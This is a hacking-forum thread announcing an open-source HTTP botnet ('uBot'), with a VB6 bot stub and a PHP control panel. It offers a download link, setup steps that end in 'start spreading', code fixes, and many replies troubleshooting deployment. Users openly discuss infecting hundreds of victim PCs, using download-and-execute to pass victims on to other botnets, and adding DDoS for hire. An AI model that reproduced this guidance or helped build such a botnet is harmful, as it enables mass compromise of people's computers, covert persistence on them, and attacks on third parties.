Thread: [\[OPEN SOURCE\] uBOT - HTTP Bot - DL/Exec, Update, Visit, ~10kb Bin \[Great Stability\]](#)

Adzz - April 16, 2011, 2:50 pm

(Jun 8, 2013 10:23 PM)Adzz Wrote: [\[CITE\]](#) Files have been re-uploaded:
http://www.4shared.com/rar/PrBeKWUs/uBot_Sauce.html

I have discontinued support and updates for this project.

Since µBot, I have been wanting to develop a new bot, faster, more stable and more powerful than any other bot free or on the market. And I wanted to make it open source.

Initially I planned on developing Cloud.NET (before its temporary merger with Black Trinity), it was designed from the ground up, primarily using jQuery, HTML5, CSS3 and PHP. It was designed like some of the classic botnets, using a desktop like experience. We were close to completion but... I moved countries and due to the country being firewalled i stopped development, I did pick up the code here and again and was still in touch with my old development partner but i never really got back into development of it.

After a while we decided to start developing a new bot... "µBot v2" - it was looking amazing and some of the features we had planned were really gonna change security for botnets (sub panel support, encryption between bot and panel, ssl support and basic p2p support so that in the event of main panel closure, all bots could be set to a new panel with a button press), however again, development slowed and ultimately stopped.

I do see myself redeveloping one of these bots and releasing it, but not at the moment... to much going on right now. All I can say is, keep an eye out, it'll come...

-Adzz

[img]<http://i.min.us/idS5OG.gif>[/img]

µBOT, originally named "WEBNET", is a stable HTTP bot created for the use of herding and is perfect for collecting hundreds, and thousands of bots at an affordable price. The simple to use interface and reliable bot allows you to control your botnet with confidence, knowing your bots are safe and stable is what botnet masters need most, and this is what we provide to you with µBOT.

The "µ" within in our name represents simplicity and small size, which is directly in relation with our bot itself, with a tiny size of 9kb compressed with the control from the easy-to-use control panel.

Creators:

Adzz

Kript0x

[img]<http://i.min.us/idWMeG.png>[/img]

Bot:

- INSTANT Infection, no waiting.
- Download & Execute.
- Update.

- Visit Webpage [Visible].
- Visit Webpage [Invisible].
- Uninstall.
- Add to Startup.
- Critical Process.
- Hidden File.
- Admin detection.
- Mutex.
- Coded in VB6, no .NET Framework dependency!
- Small, ~10kb compressed, 36kb uncompressed.
- Great stability.

Panel:

- Detailed statistics.
- Location plot, map graph.
- Pie Charts [Bot Status, Operating System, Admin].
- Tool-tip for last commands sent for each client.
- Bot selection preferences.
- Integrated Ajax, Means everything is realtime! From client list to bot count.

!!!WARNING - PLEASE NOTE THAT IN THIS DOWNLOAD THERE ARE THREE THINGS, THE VB6 SOURCE OF THE STUB, THE PHP SOURCE OF THE PANEL AND THE MYSQL FILE TO BE IMPORTED. NOWHERE IN THIS IS A BUILDER OF ANYKIND. MEMBERS COMPLAINED THAT I HAVE BEEN INFECTING PEOPLE EVEN THOUGH THEY CANT READ (<https://hackforums.net/member.php?action=profile&uid=91455>)!!!

Download:

http://www.4shared.com/rar/PrBeKWUs/uBot_Sauce.html

Instructions:

1. Upload the PHP Sauce to your webhost.
2. Create a MySQL Database.
3. Navigate on your webhosts FTP to root/inc/config.php .
4. Edit the details accordingly.
5. Import the MySQL configuration file called 'boatnet.sql' .
6. Build the VB6 side with corresponding panel.
7. Start spreading.

Setup/Spreading Guide:

<https://hackforums.net/showthread.php?tid=2105696>

Now onto the cron job

The settings of the cron job is up to you it can vary between once a day to every 30 mins, i would personally recommend 30 mins because that is what the script is built for but aslong as you point the cron to www.yourdomain.com/locationOfPanel/cron.php youll be fine :)

Fixes:

(May 3, 2011 05:51 AM)Adzz Wrote: [\[CITE\]](#) I see that many of you are having a problem with the function.date and getting errors like below

Code Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Berlin' for 'CEST/2.0/DST'

but there is a simple fix, go on the page you are getting the error such as tasks.php and after the initial php comment <? place the following line

Code date_default_timezone_set('Europe/Berlin');

(Aug 2, 2011 11:23 AM)kickalim Wrote: [\[CITE\]](#) The the fixed bugs are :

1. A Msn code that does nothing and gives error.
2. The commands are only working on form_load 1 time. The interval settings dont working and dont runs the commands. Timer1 dont work.
3. The majority do show up but a few minutes later everyone is offline.

After the fixes everything will work perfect!

1. Find and delete ;

Code 'Messenger API - Grab Emails

Dim hAPI As MessengerAPI.Messenger

2. Add to timer1 under "On Error Resume Next";

Code panel = "http://nygate.mainwebs.com/net/" 'Panel URL settings again

interval = 20 'minutes settings again

intCount = 0 'tCount settings again

Dont forget you need to setup the settings 2 times!

On Form_Load and Timer1 ;)

If your getting no people showing up in your map graph, add this in, its because some people have the country code "unk" if the geolcation plugin cant work out where there from

(Sep 11, 2011 06:53 AM)allsux Wrote: [\[CITE\]](#) Fixed it. some of my clients got the CC code 'unk'

so fix in stats.php:

Code while(\$row = mysql_fetch_object(\$ccs))

```
{
    if($row->cc != 'unk')
    {
        array_push($cclist, $row->cc);
        $values = mysql_query("SELECT * FROM clients WHERE cc LIKE '$row->cc'");
        array_push($ccvalues, mysql_num_rows($values)/$totalbots * 100);
    }
}
```

Cron Job Command:

```
/usr/bin/wget http://yoursitehere.com/yourpanel/cron.php >/dev/null
```

Psychotic - April 16, 2011, 2:52 pm

Shit , this looks amazing thanks I love it , can we ddos ?

chrishockey55 - April 16, 2011, 2:53 pm

yeah can we hit with it and virus scan much

n0pcode - April 16, 2011, 2:54 pm

(Apr 16, 2011 02:52 PM)Pepsi Wrote: [\[CITE\]](#) Shit , this looks amazing thanks I love it , can we ddos ?
DDoS is not included as it's a "Herding Bot" and stability is priority :)

?ystem - April 16, 2011, 2:54 pm

The download link to the HTTP bot's download that's available in the thread you had made is only downloadable from RapidPro Customers. That is what it states when I attempt to download the HTTP bot.

Could you make a different download link for the user whom wish to try this application out, please?
I know I wont be the only person whom appreciates it.

As well, I'm not seeing any virus scan results of the executable files included within the folder that may contain all the necessary files for using this HHTTP bot. Is the virus scan located within a spoiler and I'm just not seeing it?

If that would be the case then may I suggest you make the thread not as long so everything is much more simpler to see?

n0pcode - April 16, 2011, 2:54 pm

(Apr 16, 2011 02:53 PM)chrishockey55 Wrote: [\[CITE\]](#) yeah can we hit with it and virus scan much
It's a source, look at it yourself.

There are no executables, and a new download is coming now.

Adzz - April 16, 2011, 2:58 pm

Download link has been changed to Medafire, enjoy :)

Psychotic - April 16, 2011, 3:00 pm

What if we don't have vb6 how will we do it ...

Adzz - April 16, 2011, 3:00 pm

Then install it and try again.

Psychotic - April 16, 2011, 3:04 pm

I don't even have a download .

?ystem - April 16, 2011, 3:17 pm

I managed to pull a few strings and obtain the files via the download link you originally provided, and couldn't help but test this out because my curiosity had gotten the best of me.

I noticed within the pages that credits are given to Adzz and KØRRUPT.

I sincerely do not think that any of the users here will be too prompt to use this uBot because of the fact that KØRRUPT was one of the creators. KØRRUPT was once a fellow member to these forums a great deal of time ago and was found to have had backdoored his RAT project that he released publicly on these forums. Thus, gaining himself a permanent ban and a history for backdooring multiple numbers of people.

So, would you care to elaborate for all of us why we should use this tool when obviously you're not a person to be trusted and that KØRRUPT has had his malicious hands on this tool's development?

n0pcode - April 16, 2011, 3:19 pm

It's open source, how much more information do you require when you have the pure coding right in front of you.

Adzz - April 16, 2011, 3:45 pm

As Kript0x stated, its open source, how could a person backdoor something that is completely open to view?

?ystem - April 16, 2011, 3:56 pm

(Apr 16, 2011 03:45 PM)Adzz Wrote: [\[CITE\]](#) As Kript0x stated, its open source, how could a person backdoor something that is completely open to view?

All that you and Kript0x have essentially done is answered my question by providing a rhetorical question, in which, still does not provide much of any clue as to whether or not anyone ought to trust this.

I've already scrolled through the source code to the bot and I have no real complaints. Everything is well-detailed and informational. But my PHP knowledge is questionable, and various things can be implemented into PHP.

Until an unquestionably knowledgeable person in PHP/HTML can confirm that everything is fine I cannot vouch for legitimacy.

n0pcode - April 16, 2011, 4:01 pm

Adzz coded the PHP, not me. Feel free for someone to scroll through the PHP, you don't need much knowledge to look for something malicious, just URLs for downloads etc. but think what you like, I obviously can't change your opinion. Would just rather people appreciated the free source rather than trying to have a go at us.

Azido - April 16, 2011, 4:05 pm

Looks freaking hot man :D

Gonna check it out now!

Adzz - April 16, 2011, 4:13 pm

Hi yes i coded the php side, and yes as it is all open source you can scroll through each file combing to see whether its malicious or not, its not very well commented because im not the greatest coder ever but i try my best.

Deadlydennis - April 16, 2011, 4:22 pm

(Apr 17, 2011 07:28 AM)Kelv876 Wrote: [\[CITE\]](#) Excuse me for my noobishness and I hope I get friendly responses because I just started out on this area of hacking, bots and stuff.

Anyway, what do herding bots actually do? Do they just collect your bots? If so, how can you then transfer the bots to another HTTP bot script so you can make them DDoS?

Thanks a load,

Kelvin

Yes, they just hold your bots, use the download/execute function to transfer to other botnets.

John Dillinger - April 17, 2011, 7:58 am

I think its going to be the best http bot to harvest bot!

Bravo: p

Adzz - April 17, 2011, 8:15 am

(Apr 18, 2011 07:35 AM)© Ð?????¢?t?.™ Wrote: [\[CITE\]](#) And why aren't you guys?

We made the bot, it would be a biased opinion.

utilizatorul - April 18, 2011, 7:38 am

@Adzz: I read the instructions, and what is to modify? In the actual source, just the domain of the panel. I can't find any cron/related to function.

Adzz - April 18, 2011, 8:16 am

@utilizatorul Please read the instructions in the thread, you have to set up the cronjob on the panel... this will make your readings accurate and also if you mess with the interval settings on the bot you will get mis readings etc

utilizatorul - April 18, 2011, 9:01 am

It's useless, no matter what I do, the commands aren't executed, tried everything.

Adzz - April 18, 2011, 9:06 am

Well i love how no one else is having these issues apart from you.. i would be glad to help if you would like teamviewer assistance

SIM-570417 - April 18, 2011, 9:13 am

Hey tnx for answering, anyone knows:

if is a link in mediafire and i dont download it but i save it to my account if the creator of the link deletes the file will be deleted at my account. Sorry bad english, tnx

TheBarret - April 18, 2011, 10:07 am

lol i can recall i had some slave that called his pc "the terminator", could it be possible that we infected the same guy? :P

JAM - April 18, 2011, 10:24 am

What is the detection rate when you scan it?

You should add a botkill function on it

I'm having problems with the panel i have like hundreds of sql errors

you also need to suggest a webhosting service

i'm using a free one

utilizatorul - April 18, 2011, 11:26 am

I give up. ? .

supa - April 18, 2011, 1:29 pm

Hey, could you tell me step by step how to do this on mainwebs?

Deadpool™ - April 18, 2011, 4:43 pm

I had a problem with date/time function in the .php files. I had to add this (`date_default_timezone_set('America/New_York');`) to like 3 php files in order to get a function error to go away.

I also have a problem getting my .exe to compile. Makes me rage -.- . I am using my portable version of vb6 and I cannot find my .exe when I do "Start with full compile"

shadowski - April 19, 2011, 4:16 am

i think i noticed a bug in web panel when giving tasks. I think when you type new task in panel, the bot somehow receives the previous task that was added before the new one.

pushl %ebp - April 19, 2011, 4:19 am

What a shame it is in vb.... I hate VB, even if it's vb6 and has no dependencies... Learn C++...

n0pcode - April 19, 2011, 5:18 am

More easily said than done, would if I could :P

shadowski - April 19, 2011, 5:18 am

well, at least it is open source. you can modify it pretty easy

btw, you can only give the bot 1 command, and then you have to wait while the bot will be restarted on victims machine, to let the bot change the command?

Basics. - April 19, 2011, 5:33 am

This looks like a very good Program! I'll try it out later. Thanks!

n0pcode - April 19, 2011, 6:12 am

(Apr 19, 2011 05:33 AM)D?lluzion Wrote: [\[CITE\]](#) This looks like a very good Program! I'll try it out later. Thanks!

Best of luck with it, enjoy! Hope people are learning from the open-source :)

utilizatorul - April 19, 2011, 7:23 am

I found why the commands are executed just when the exe is opened. You have to add the code
Code panel = "http://..." at the top of the "getCommand" function and it will work.

@kript0x/Adzz:

1. Does cron.php needs to be modified?
2. It's possible to setup cron job on Windows?

push eax - April 19, 2011, 8:26 am

SQL injection and path disclosure in tasks.php, not a big deal as you have to be logged in to exploit it but it's still bad

enVisiOn - April 20, 2011, 5:32 am

Very nice UI you have going on there.

Keep up the good work!

n0pcode - April 20, 2011, 10:08 am

Replied to your PM, hopefully solves your problem.

maybeDeToX - April 20, 2011, 9:32 pm

No DDoS function are I would have tried it. SOmeone wanna put a really good one in?

n0pcode - April 21, 2011, 8:14 am

(Apr 20, 2011 09:32 PM)DeToX. Wrote: [\[CITE\]](#) No DDoS function are I would have tried it. SOmeone wanna put a really good one in?

It's open source, feel free to add one in yourself - it was originally made for herding so no DDoS was added.

Hadopi - April 21, 2011, 11:57 am

thanks a lot guy ;)
this is a great http panel for my zomb

Pinkman - April 21, 2011, 12:15 pm

Panel could be more detailed but still awesome.

marcbob - April 21, 2011, 1:57 pm

What exactly is herding? You said that was it's main function so I assume it means to just get bots and then you can execute rat files and etc.

n0pcode - April 21, 2011, 1:59 pm

(Apr 21, 2011 01:57 PM)marcbob Wrote: [\[CITE\]](#) What exactly is herding? You said that was it's main function so I assume it means to just get bots and then you can execute rat files and etc.
Collecting bots in large quantities, with stability.

marcbob - April 21, 2011, 3:57 pm

Very cool then especially since you can check it online! Hopefully I can find a way to add a ddos feature also

xDroidx - April 21, 2011, 8:13 pm

I am extremely interested in improving the C&C infrastructure for this bot.

Could you see this introducing stability issues if I am rather n00bish at coding?

ajnin - April 21, 2011, 10:49 pm

Hello,

First of all thanks :D very nice release but there is one thing i am trying to figure out ... when i send download/execute command in the Variable: i put:
<http://www.mylink.com/myexe.exe> and i select them all and i hit send but nothing happend on victims... do i need to put something else in the Variable?

Thanks

Hi, Thanks for the .. nice comment... i already stated in the original post that my coding was very messy because i did not intend to release it open source.

(Apr 25, 2011 07:14 AM)© Đ?????¢?t?.™ Wrote: [\[CITE\]](#) Could the OP please post all modified php files into the thread page

So peeps don't need to scroll trough all post :)

Btw is there any way to add a Download/Execution Rate?

At the moment i do not see a mass modification needed... for the SQL injection, it doesnt mean shit... First all information in the database is displayed in the various forms thus injecting into the databse will reveal nothing except maybe the install files people wish to download on to their clients as well as they would still have to be logged in to execute the injection, and lets say someone did manage to gain access and then tried to truncate(delete) your clients, each client is programmed that if it does not have a 'ID' on the server it requests a new one and stores it so there arnt really any problems.

P.s Sorry for me taking so long to comment but i was away at a LAN event

enc0de - April 25, 2011, 6:02 pm

Don't include "http://" within the download link.

colorless - April 26, 2011, 1:11 am

Ok so it works we just in the variable area put youtube.com not <http://youtube.com> ?

Zer0FI4g - April 26, 2011, 3:03 am

Download Link is dead. Would someone reupload?

informacja - April 26, 2011, 4:55 am

So: I've pointer cron.php in my Cron jobs in cPanel and set up it for 1 min.

Now tell me why all bots are still online?

Also what mean those 2? :

Code interval

intCountPlease answer...

[REUPLOAD - CLICK HERE!](#)

Adzz - April 26, 2011, 7:01 am

Hi dont setup the cronjob for 1 min, do it for around 30-40 mins, the reason why they still come up as online is because the algorithm i used to calculate the difference between online and offline is based a on 30-40 min interval so aslong as you keep it to that, you should see wether the bot is online or not. And please in the VB6 Source, only edit the bits which kript0x has defined to edit (unless you know what your doing).

Also the download link is fine, i just checked it

Adzz

maxvolrat - April 26, 2011, 8:43 am

great source!! thanks man

colorless - April 26, 2011, 9:46 am

so were supposed to point to site.com/cron.php ? or just site.com ?

n0pcode - April 26, 2011, 9:48 am

(Apr 26, 2011 09:46 AM)colorless Wrote: [\[CITE\]](#) so were supposed to point to site.com/cron.php ? or just site.com ?

Just site.com/, remember a trailing "/".

colorless - April 26, 2011, 9:51 am

okay thanks for the reply :)

Adzz - April 26, 2011, 11:04 am

@ Colorless, your doing it all wrong, the cron is what needs to be added to the cPanels Cron job, its nothing to do with being defined on the client, on the client you should put yoursite.com/ nothing else

colorless - April 26, 2011, 11:49 am

Can one of the coders please PM me.

I have the bot setup I understand vb and I have compiled a working bin.

The bot connects to my site but it always shows up as online and commands do not work.

I have 70 or so bots on the panel and none have gone offline in 24 hours even though I know some are and commands do not execute I setup a html hit counter on a page had the bots visit and it didnt' go up at all.

Can you help me with the commands problem please.

Adzz - April 26, 2011, 1:15 pm

... Colorless, you have to set up the cron job or manually direct your browser to www.yoursite.com/panel/cron.php

Zer0FI4g - April 26, 2011, 1:40 pm

I built it with VB6 (on windows 7) and executed it on XP but nothing happend. it did not send any packets.

How could that come?

JAM - April 26, 2011, 9:06 pm

Can someone Please make a detailed setup of uBot since Op didn't explain that much

Adzz - April 27, 2011, 2:19 am

Zer0FI4g and JAM, the panel set up is easy and i have explained it all in the OP, now the client i did not make so you will have to talk to kript0x but to my understanding, you open up the source and edit only 1 thing, where it says 'Panel' or 'PanelURL' something like that, then you enter in the location off your panel without and http:// and with a / at the end so heres an example

Panel = 'yourdomain.com/location/to/panel/'

Done, there you go now you compile it and drop it on the bot, if it still doesnt work then i recommend you talk to kript0x

<3

Adzz

?D?vi??c?t?™ - April 27, 2011, 5:51 am

Is anyone holding over 500 bots with this?

Is the DL/Exe rate any good?

colorless - April 27, 2011, 6:14 am

I have about 100 now and I can't get the commands working for shit but I've set it up properly to my knowledge so Idk what the problem is.

Adzz - April 27, 2011, 8:48 am

colorless, is it all the commands and what commands have you tested. Please consult kript0x with any command issues since its not my side of the project, where as if you have any problems with the panel ... that is my side and i can assist you with that

Adzz

DevilDog001 - April 27, 2011, 9:16 am

Adzz:

Very nice panel, super sexy :P couldn't get it to work at first because I forgot to import boatnet.sql with phpmyadmin, but I figured that out eventually.

kript0x:I havent been able to test the client yet as I haven't found a working copy of VB6 yet, but I'll give feedback if possible.

Keep up the good work the two of ye ;)

Vouch :)

Adzz - April 27, 2011, 9:43 am

Thanks DevilDog001 for the lovely comments

Adzz

dafdpunk - April 27, 2011, 10:21 am

Hmm, so far I've done everything like decriped. I see my bots online, but the commands doesn't work. I've tried visible page visit, d&e and uninstall..

Any hints to get that working?

Adzz - April 27, 2011, 3:11 pm

hmm please contact kript0x but make sure that in the d&e link and any other command that requires a link such as visit website both invisible and visible DO NOT include a http://

japanman5 - April 27, 2011, 5:14 pm

looks good, il install and then give it a go

dix0nb - April 28, 2011, 2:05 pm

I can't get the bot connecting to my server. I have the webserver and shit setup, added cron jobs to 30 mins, in the VB part i've added my host without "http://" first in i have the / at the end of location.

I've tried infecting two of my own computers and neither show up on my server.

Why is this? thanks

Rixxon - April 28, 2011, 2:51 pm

Looks good, might give this a try later today. Thank you very much for the share.

Adzz - April 28, 2011, 3:12 pm

tooly - May 2, 2011, 10:06 am

Looks great thanks for the share :)

TheLuckyGuy - May 2, 2011, 10:23 am

Someone tested it already ?

Is it stable when you have 1k bots online ?

Adzz - May 3, 2011, 5:51 am

If setup correctly, it should always be stable. Its when you start messing with the base settings that it starts becoming unstable.

Adzz

I see that many of you are having a problem with the function.date and getting errors like below

Code Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are **required** to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Berlin' for 'CEST/2.0/DST'

but there is a simple fix, go on the page you are getting the error such as tasks.php and after the initial php comment <? place the following line

```
Code date_default_timezone_set('Europe/Berlin');
```

I'm Gone - May 3, 2011, 4:32 pm

I got source.. Idk how to sign up ":/ WTF

Adzz - May 3, 2011, 4:36 pm

read the instructions in the OP, you go into config.php and edit the information.

Adzz

Help me please

<http://img638.imageshack.us/img638/4924/sansre1e.jpg>

Hi mate, have you edited the source if so revert if not, it's most likely because your apache rules are denying some much need mysql commands or that it's disabling a command which affects warnings.. Here's what I recommend, get one bot on your HTTP Bot listing, if that fixes the problem, it's that your apache is blocking the warning exception commands, if it still happens it's because your apache rules are denying mysql commands.

Hope this helps

Adzz

Dark Randy - May 13, 2011, 2:00 pm

I have gotten a error message. Can someone help me out please:)

try this please

Code /usr/bin/wget http://yoursitehere.com/yourpanel/cron.php >/dev/null

(May 13, 2011 02:00 PM)Chick-Fil-A Wrote: [\[CITE\]](#) I have gotten a error message. Can someone help me out please:)

Hi mate, have you edited the source if so revert if not, its most likely because your apache rules are denying some much need mysql commands or that its disabling a command which affects warnings.. Heres what i recommend, get one bot on your HTTP Bot listing, if that fixes the problem, its that your apache is blocking the warning exception commands, if it still happens its because your apache rules are denying mysql commands.

Hope this helps

Adzz

Adzz

Thank you very much. It worked.

Adzz - May 14, 2011, 3:11 am

No problem mate, enjoy :)

Adzz

feel the noize - May 14, 2011, 4:04 am

If you keep this upp you might have + rep :) and i really enjoy that you use ajax.

And the panel is Okey i have edit it a litel bit. And will there be a update our something liek that in the future ?

Adzz - May 14, 2011, 4:39 am

Haha thanks for the kind comments, and yes we hope to release a revised version with new PHP technology never looked into before, which should make a much more secure and stable HTTP bot for the future. And next time i will revise all of my code to make sure theres no minor SQL injections or problems.

Adzz

chichou - May 14, 2011, 6:04 am

I solved my problem

How do I make it spread? PLZ

Adzz

a154james - May 17, 2011, 6:51 am

(May 17, 2011 02:04 AM)Adzz Wrote: [\[CITE\]](#) What do you need help with mate?

Adzz

Thanks and how do I compile this code, I made it into a fake program but I don't usually use vb6 I am used to vs 10 so I kinda need some help on how to get the link to my site and work. Thanks

Encrypterss - May 17, 2011, 8:07 am

WTF OMG ADD DDoS It would probably be the best HTTP Net out there

Adzz - May 17, 2011, 8:15 am

To be honest guys the main reason why we do not add DDos functions is because of two reasons

- 1) It's a herding bot, this means stability and DDosing decreases stability of the bot.
- 2) It's a refreshing HTTP bot, which means it only gets commands every 30 minutes, so let's say you executed the DDos at 1.00pm, the bot might not get the command till 1.30pm.

Adzz

A32 - May 17, 2011, 11:29 am

(May 17, 2011 08:15 AM)Adzz Wrote: [\[CITE\]](#) 2) It's a refreshing HTTP bot, which means it only gets commands every 30 minutes, so let's say you executed the DDos at 1.00pm, the bot might not get the command till 1.30pm.

That doesn't really matter if you are ddosing servers for money. It doesn't really matter when the ddos starts, the website just has to stay down.

Host booting in games is a different story.

But hey, it's open source. If somebody wants to have ddos functions, he can make them.

Adzz - May 17, 2011, 11:41 am

Yeah if someone wants to make it... let em :D

Adzz

Baker - May 17, 2011, 12:09 pm

I'm having a problem compiling the bot. I messaged you but you don't reply.

Adzz - May 17, 2011, 12:11 pm

Hi,

I do not offer compiling help, I recommend your contact KORRUPT... I mean Kript0x

Adzz

starfight - May 17, 2011, 12:14 pm

Hey all!

I was wondering, can you infect 2 computers with the same IP address?

I tried to infect another pc here, but only my main PC is shown in the list... Any ideas?

If it helps, I compiled the script on a Windows 7 machine, and tried to infect a Windows XP machine

Adzz - May 17, 2011, 12:18 pm

That will happen to any bot/rat, because there the same IP it will conflict, but I think bot computers will get the command, but only one will show in the list

Adzz

starfight - May 17, 2011, 12:19 pm

Tnx Adzz!

I'll try to put my main on a different IP adress (neighbor) and maybe my second pc will show up?

Adzz - May 17, 2011, 12:22 pm

Yep you can try that but since the bot is already installed, i recommend removing it from the panel and then redownloading and executing the EXE on it

Adzz

starfight - May 17, 2011, 12:26 pm

ok that worked!

I also have another small question, why are all my bots showing up as admin/true?

Adzz - May 17, 2011, 12:39 pm

Because they either are... or KORRUPT.... i mean Kript0x is a shit coder and didnt make a decent admin detector.

Adzz

starfight - May 17, 2011, 12:44 pm

hmm okay, but do the "admin" bots execute tasks?

Adzz - May 17, 2011, 12:49 pm

Yeah, they all execute tasks, the admin bit just tells you so you know what kind of programs to execute on the bot

Adzz

w0rd - May 17, 2011, 1:03 pm

any of you got a vb6 download link?

starfight - May 17, 2011, 1:05 pm

search for it on torrentz.eu, I found mine there today, downloaded at 3MB/s

Adzz - May 17, 2011, 1:11 pm

keep searching, im sure you guys will find it

Adzz

w0rd - May 17, 2011, 1:45 pm

i got a problem.after i test it on my pc i wanna uninstall it so i go to task manager ,select the bot,select uninstall option and click send but the bot still remains there

Adzz - May 17, 2011, 1:58 pm

wait 30 minutes, then it should appear offline and in 2 days it will become dead.

Adzz

w0rd - May 17, 2011, 2:19 pm

those 30 mins applys to down/execute too ?

vCaLLMeJaKe - May 17, 2011, 2:31 pm

nice bot and good post, it looks like a good bot i might test it later on.

starfight - May 17, 2011, 3:03 pm

I have another question, I now have about 500 infected PC's, but 50 of them (including my own are showing offline, while I'm sure they are online... even after reopening the bin, my own pc doesn't show online

Dark Randy - May 17, 2011, 6:05 pm

what webhosting website do you guys use?

??s????? - May 17, 2011, 6:50 pm

I love you, in a non-homo way! But this Bot looks amazing, im not even joking about how much i want to try this out!

Adzz - May 18, 2011, 1:20 am

(May 17, 2011 02:19 PM)w0rd Wrote: [\[CITE\]](#) those 30 mins applys to down/execute too ?
Yes it does apply to this aswell.

Adzz

(May 17, 2011 03:03 PM)starfight Wrote: [\[CITE\]](#) I have another question, I now have about 500 infected PC's, but 50 of them (including my own are showing offline, while I'm sure they are online... even after reopening the bin, my own pc doesn't show online

Sometimes this happens, its a Sync error between the server and the slave, just wait and eventually the'll sync up again.

Adzz

(May 17, 2011 06:50 PM)xAge-cR Wrote: [\[CITE\]](#) I love you, in a non-homo way! But this Bot looks amazing, im not even joking about how much i want to try this out!

I might be releasing uBot v2.0 which will be redeveloped in c++, i was going to release it to the public again but after another repfuck from the great on known only as Omni, i decided against it. I do not know if i will release it on the forums at all.

Adzz

Doctor Shadow - June 12, 2011, 2:40 pm

What gave you the slightest idea that you should give up, this is brilliant;

you're an awesome coder, an awesome coder doesn't care about anyone else's opinion and in this

particular situation codes because he enjoys it.

Keep programming, the C++ V2.0 Sounds quite clever and sophisticated.

Take it this way xD, Omni rep fucked you because he knows you're awesome <3.

Hope you work and consider releasing V2.0 +.

fryguy - June 12, 2011, 2:45 pm

very nice, thank you very very much :D

SuburbanInsanity - June 12, 2011, 3:17 pm

Nice but I don't know mySQL.. Where do I import it?

Adzz - June 12, 2011, 3:38 pm

you import the .sql into your mysql server either via phpmyadmin or manually via the command line

fedidaido - June 12, 2011, 3:46 pm

The sperading part. What actually we need to spread? Is it the url? I have successfully setup my uBot buy now I don't know how to obtain bots. >.<

SuburbanInsanity - June 12, 2011, 4:58 pm

Damn... If I open the project with VB6 it wont let me build it...

mekaniku - June 12, 2011, 5:32 pm

Can you make the builder cuz it says me compile error

Axanas - June 12, 2011, 8:06 pm

AdzzOk got it ..

What command shud i put?

Sorry, never use this before..

=)

Adzz - June 25, 2011, 11:04 am

Please read one of my previous posts where i explain what command to put in the cron jobs.

Adzz

um35h - June 25, 2011, 1:42 pm

thanks man trying it out..

?4???4?TM - June 25, 2011, 8:48 pm

(May 13, 2011 02:21 PM)Adzz Wrote: [\[CITE\]](#) Code /usr/bin/wget
http://yoursitehere.com/yourpanel/cron.php >/dev/nullGot it man.. But now, only one show online..
xD

Thanks..

Quote it for easy reference..

Btw, how long it take to show the bot dead and where can I change the time?

Thanks again.. All worked great now..

=)

EDIT:

Btw, any variable to uninstall the bot?

Adzz - June 26, 2011, 2:17 am

Nope no variable is needed.

Thanks Adzz

PostIt - June 28, 2011, 3:17 am

Everyone getting the "mysql error blah blah blah" on the pages of the bots user interface it is probably because you failed to import "boatnet.sql" into your MySQL panel.

Once I did that my errors vanished.

A few things I am confused about:

Panel = mysite.com/PHP Sauce/

is the above right? Because to get to the uBot login page that's where I go.

Also when I compile the Project1.vb1 I get a small file about 36kb in size. Is this the client I send to victims?

I read many of the pages of this thread and am confused about the cron.php.

Do i need to edit this file?

I realize these might be stupid questions but help is appreciated, and I thank you for your code.

Adzz - June 28, 2011, 5:54 am

Hi please ask all of your VB6 questions to Kript0x, with the cron job you must not edit it but instead use a cronjob manager to execute it... in cpanel its located us a button called "Cron Jobs"

Adzz

phreaker - July 4, 2011, 5:38 am

we are waiting for black trinity :D

Adzz - July 4, 2011, 6:01 am

Hehe you are probably one of the only persons to notice that so thank you very much :) we will be releasing the demo soon, just awaiting my c++ coder.

Thanks,

Adzz

Hi please contact kript0x, in the beginning stages of uBot we had the idea to add a email collector where it would hook into MSN and copy all of the emails, the problem is in the building of the bot it requires you to have the MSN API to do so, there is a way to disable it i just dont know how.

zAnaX - July 8, 2011, 5:35 am

If you do not have Visual Studio 6.0 on hand (its a pain to find online) your not completely out of luck. Visual Studio 2008 has a plugin that allows you to convert the .vbp to .NET and build the .exe. hopefully this will help some of you guys

Adzz - July 8, 2011, 7:36 am

Hi,

to be honest this wouldn't be the best option because you would be adding the dependency of .NET so there's a possibility you will have less bots.

Run the cron job, should work then.

Adzz

Doubts - July 14, 2011, 6:27 pm

ok can someone please explain the "cron" part of the original post to me? I don't get it at all.

edit: Still need someone to explain what cron does and how to set it up.

Also how do i fix this.

<http://lookpic.com/c1/i2/2356/ptlIRBLs.png>

i uploaded the database included to mysql. I double checked my config file. My username is formatted like Doubts_Root same with data base name.

whats wrong. I have set these up before with no issues.

Khant - July 14, 2011, 11:50 pm

Remove the code for email thing and untick the box when after the error window. Worked for me. I think timer is broken too btw. Used a differed method and works now for me.

??s?? - July 15, 2011, 12:58 am

Nice man, I'll check it out.

botnous - July 19, 2011, 12:52 am

how come all the bots are dead on your demo site?

multicoolyo - July 19, 2011, 3:03 am

guys i need help how do i make the server like the thign which you spread how do i make it?

Adzz - July 19, 2011, 3:27 am

Adzz

Adzz - July 19, 2011, 8:01 am

Cron job command is like this:

```
/usr/bin/wget http://yoursitehere.com/yourpanel/cron.php >/dev/null
```

Adzz

fender14 - July 21, 2011, 2:34 pm

If you need help with the cron

First login to your cpanel,
Go to "Advanced"
Click Cron Jobs

Find this

Fill it in as so with

```
/usr/bin/wget http://yoursitehere.com/yourpanel/cron.php >/dev/null
```

Click add new cron and you should be all set, hope this helped. ?

sBep - July 22, 2011, 2:25 am

Hi there!

Very nice work with this ?

I'm quite new to botnets so I'm having a problem, so if you would be kind enough to help me a bit ?

I've managed to get the bot up and running no problem... Built the VB6 no problem... But when I try to infect my other computer nothing comes up in the uBot site... I've tried the unencrypted and crypted versions of the server file and nothing...

I've read that it takes some time before you can see you slave... so I've tried to wait a couple of hours and still nothing...

The only thing I didn't manage to set up is the cron job. I'm using a free hosting service and it's a bit messed up when it comes to the point of cron jobs...

But I figured that wouldn't cause any problems with me seeing my slaves? Or am I wrong?

Could this be because I'm using the free hosting service or something else?

Adzz - July 22, 2011, 6:03 am

Seeing the bot should be instant since i embeded ajax in the clients page, it most likely is because you are using free hosting.

Thanks,
Adzz

A cron job is a automated task executed by the server every x
seconds/minutes/hours/days/months/years.

In this case, its too check if bots have connected to the server in the interval.

Adzz

